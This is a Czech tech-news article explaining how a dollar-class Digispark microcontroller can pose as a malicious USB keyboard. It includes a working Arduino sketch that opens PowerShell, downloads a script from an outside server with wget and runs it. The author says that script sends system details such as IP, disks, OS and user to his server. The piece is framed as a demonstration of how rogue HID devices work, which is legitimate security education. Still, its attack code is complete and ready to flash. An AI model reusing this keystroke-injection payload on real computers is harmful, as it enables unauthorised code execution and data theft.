Pojďme programovat elektroniku | Arduino | Únik dat

Vyrobili jsme z mikropočítače za dolar záškodnickou klávesnici. Je to snadné

  • Představte si klávesnici, která po připojení spustí malware
  • Není to nic složitého, stačí mikročip za dolar
  • Bude posílat počítači trošku jiné stisky kláves

Na Živě.cz jsme už mnohokrát psali o nejrůznějších upravených klávesnicích, myších a fleškách. Zatímco v některých byl schovaný keylogger, který zaznamenával každý tisk klávesnice a vše později v dávkách posílal na záškodníkův web, zákeřná USB fleška po připojení k počítači zase vyslala do jeho obvodů natolik silný elektrický výboj, že to v lepším případě odnesla jen sběrnice a v tom horším celá základní deska.

Dnes do tohoto světa trošku nahlédneme, vyzkoušíme si totiž, jak by mohla fungovat záškodnická klávesnice, která po připojení k PC způsobí pěknou neplechu. Nebudete k tomu potřebovat ani doktorát z MIT, ani několikaměsíční studium hackerských manuálů, naše záškodnická klávesnice totiž nebude zneužívat žádných zranitelností ovladačů a operačního systému, ale bude jen dělat to, k čemu je určená.

Mikropočítač, který se vejde do klávesnice a může stáhnout třeba virus

Naše fiktivní klávesnice po připojení k USB vyšle do systému vlastní stisky kláves. Provede tedy něco, před čím vás nezachrání žádný antivirový program, protože bude provádět naprosto legitimní úkony. Pokud by taková klávesnice vyslala sérii stisků kláves, které systému řeknou, aby smazal všechna vaše data, tak se tak i stane, protože k tomu máte patřičná práva a operační systém samozřejmě nemůže tušit, že stisky nevytvářejí vaše vlastní prsty, ale drobný mikropočítač velikosti poštovní známky.

435749215
Drobná USB mašinka Digispark, jejíž klon dnes použijeme pro simulování stisků kláves

Toto všechno zvládnou nejrůznější modely Arduin a dalších mikropočítačů a vývojové prostředí Arduina na to pamatuje vlastními knihovnami, které se postarají o to, aby bylo posílání jednotlivých stisků kláves co nejjednodušší.

Destičky Arduina jsou však pro toto použití docela velké a do klávesnice by se snad vešly jen jeho nejmenší varianty. Vývojové prostředí Arduina naštěstí podporuje celou škálu mikrokontrolerů a jedním z nich je i maličký Digispark s jednoduchým osmibitovým čipem Attiny85.

836461355 265075606
Mozkem Digisparku je drobný osmibitový čip ATtiny85 od Atmelu (dnes Microchipu). Má 8 kB paměti a několik málo pinů, pro naše účely je ale naprosto dostačující.

Digispark začínal jako projekt dolarového mikrokontroleru na Kickstarteru, cena toho oficiálního se dnes ale pohybuje až okolo osmi. Naštěstí jsou eBay a další e-shopy plné laciných klonů, takže z Číny a s bezplatným poštovným jej získáte opravdu od těch cirka 30 korun za kus.

Falešná klávesnice ovládá operační systém

Tak a teď konečně začne ta legrace. S Digisparkem můžete v prostředí Arduina použít vestavěnou knihovnu DigiKeyboard a její funkce pro vyslání stisků jak nejrůznějších systémových kláves a jejich kombinací, tak i souvislého textu. A kdyby to nestačilo, stačí nahlédnout na webu usb.org do oficiální dokumentace pro protokol HID, kde najdete kódy jednotlivých kláves (PDF, kapitola 10).

599470272
Po připojení Digisparku se v otevřeném Wordu napsalo vtipné hlášení. Stačí k tomu jednoduchý program na pár řádků.

Suma sumárum, droboučkou destičku snadno naprogramujete tak, aby vyslala do počítače kód libovolné standardní klávesy.

Jak by tedy mohl v prostředí Arduina vypadat kód programu, který po připojení Digisparku do USB pošle systému sekvenci znaku „Ahoj, já jsem zlý virus?“ S využitím zmíněné knihovny by byl naprosto primitivní:

// Pouzij knihovnu DigiKeyboard
#include "DigiKeyboard.h"

// Funkce setup se zpracuje po startu mikropocitace, tedy po pripojeni k USB
void setup() {
 //Posli do pocitace text, ktery se zobrazi, pokud bude mit fokus nejake textove pole. Treba Word. 
 DigiKeyboard.print("Ahoj, ja jsem zly virus!");
}

// Smycka loop je prazdna. Kdybych vlozil prikaz do ni, bude se text vypisovat stale dokola.
void loop() {}

Když byste tedy měli otevřený třeba Word a připojili Digispark, do textového pole se napíše ono hrozivé sdělení a drobným vtípkem vyděsíte třeba kolegu v práci (zvláště pokud příkaz k vypsání textu vložíte do smyčky loop, čili se bude opakovat stále dokola, než si oběť všimne, že má v USB připojené jakési neznámé zařízení).

Falešná klávesnice stáhne skript, spustí jej a odešle útočníkovi zajímavé informace o počítači

Pokud bychom chtěli naší virtuální klávesnici opravdu zneužít, nepsala by pochopitelně pozdravy, ale namísto toho by si otevřela třeba příkazovou řádku mocného PowerShellu a ovládla by celý počítač – zejména v případě, pokud by měl právě přihlášený uživatel administrátorská práva.

Anebo by falešná klávesnice odeslala na server hromadu informací o aktuálním systému. Případný útočník by se pak na základě popisu rozhodl, jestli je vaše mašina vhodný terč.

Pojďme si tedy ukázat druhý stručný kód, který už do hry zapojí i funkční klávesy:

#include "DigiKeyboard.h"

void setup() {
 // Posli kombinaci WIN+R k otevreni dialogu pro spusteni lib. programu a pockej 500 ms
 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(500);
 
 // Napis powershell a pockej 500 ms
 DigiKeyboard.print("powershell"); delay(500);

 // Stiskni ENTER pro potvrzeni a pockej 1 s
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(1000);

 // Predpokladam, ze uz je konzole PowerShellu spustena, a tak do ni poslu sekvenci znaku pro stazeni skriptu z internetu
 DigiKeyboard.print("wget \"https://kloboukuv.cloud/bobikospion.ps1\" -outfile \"app.ps1\"");

 // Stiskni ENTER a pockej 2 s, aby se skript stacil stahnout
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(2000);

 // Spust stazeny skript, stiskni ENTER a pockej 4 s, nez se zpracuje
 DigiKeyboard.print(".\\app.ps1"); delay(500);
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(4000);

 // Zavri okno PowerShellu
 DigiKeyboard.print("exit"); delay(500);
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}

Program nejprve pošle Windows klávesovou zkratku WIN+R (KEY_R a MOD_GUI_LEFT, tedy levá systémová klávesa, ať už je to levý WIN v případě Windows, nebo alternativy u dalších operačních systémů).

Poté program počká 500 ms, aby operační systém stihl otevřít dialog pro spuštění programu, a následně do něj vyplní powershell a odešle stisk klávesy ENTER (KEY_ENTER).

Program počká další sekundu, než se otevře textové okno PowerShellu, načež do něj pošle příkaz ke stažení zákeřného skriptu ze serveru. Předpokládejme, že je počítač online a těch pár kilobajtů stáhne během okamžiku, čili počkáme dvě sekundy a stažený skript spustíme.

Skript získá hromadu zajímavých údajů o systému a následně je odešle na můj webový server. Dokonáno jest. Trošku jsem si to ale ulehčil a pro přehlednost dal PowerShellu dopředu právo spouštět cizí skripty (stažené z webu). Jelikož je však většina domácích uživatelů svých vlastních laptopů i velkých počítačů zpravidla lokálními administrátory, mohl bych si o toto právo požádat ze záškodnické klávesnice – heslo nepotřebuji, jen explicitní souhlas.

563339845
Skript pro PowerShell získá základní informace o systému včetně lokální IP adresy, diskových oddílech, verzi OS a uživateli, vše odešle na hypotetický server záškodníka – v tomto případě na ten můj. Celé to bude trvat několik sekund, během kterých může útočník balamutit majitele počítače, že se třeba instalují ovladače čerstvě připojené klávesnice.

A to je celé. Kdybych útočil na mašiny s Linuxem, mohl bych sekvenci příkazů upravit naopak takovým způsobem, aby se spustil třeba skript v Pythonu, který se pokusí zapojit počítač skrze hackerský Kali Linux a balík nástrojů Metasploit do botnetu, to už je ale zase téma na jiný článek.

Poselstvím toho dnešního byla demonstrace, jak principiálně mohou fungovat některá zákeřná USB HID zařízení, která pro svoji práci mohou využívat i nejrůznější státní bezpečnostní a zpravodajské agentury. Ostatně podle nedávno zveřejněných dokumentů Wikileaks podobné útoky používá i CIA.

Téma: Programování pro děti

programovaniprodeti.jpgAlgoritmické myšlení, logické uvažování, dovednost analyzovat problém a najít jeho řešení… to se hodí už dnes a do budoucna budou tyto schopnosti čím dál důležitější. Zábavnou formou se k nim vyplatí vést i děti. Sledujeme pro vás dostupné nástroje, stavebnice, služby a postupy.

Doporučujeme speciál Computeru Programování pro děti. Za 99 Kč si ho můžete objednat online a během několika dnů vám dorazí do poštovní schránky.

Diskuze (22) Další článek: V květnu se bude dražit funkční Apple I, cena může překročit hranici 20 milionů korun

Témata článku: , , , , , , , , , , , , , , , , , , , , , , , ,